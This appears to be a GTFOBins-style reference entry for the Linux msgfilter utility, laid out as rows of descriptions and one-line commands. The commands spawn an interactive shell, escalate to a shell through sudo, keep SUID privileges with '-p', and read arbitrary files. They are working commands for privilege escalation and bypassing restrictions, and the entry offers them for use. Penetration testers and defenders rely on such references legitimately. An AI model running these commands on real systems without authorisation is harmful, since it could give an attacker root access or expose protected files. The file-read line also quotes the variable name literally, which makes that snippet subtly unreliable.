description |
code |
Any text file will do as the input (use `-i`). `kill` is needed to spawn the shell only once. |
echo x | msgfilter -P /bin/sh -c '/bin/sh 0<&2 1>&2; kill $PPID'
|
|
|
description |
code |
The file is parsed and displayed as a Java `.properties` file, so this may not be suitable to read arbitrary binary data. `/bin/cat` can be replaced with any other *filter* program. |
LFILE=file_to_read
msgfilter -P -i "LFILE" /bin/cat
|
|
|
description |
code |
Any text file will do as the input (use `-i`). `kill` is needed to spawn the shell only once. |
echo x | sudo msgfilter -P /bin/sh -c '/bin/sh 0<&2 1>&2; kill $PPID'
|
|
|
description |
code |
Any text file will do as the input (use `-i`). `kill` is needed to spawn the shell only once. |
echo x | ./msgfilter -P /bin/sh -p -c '/bin/sh -p 0<&2 1>&2; kill $PPID'
|
|
|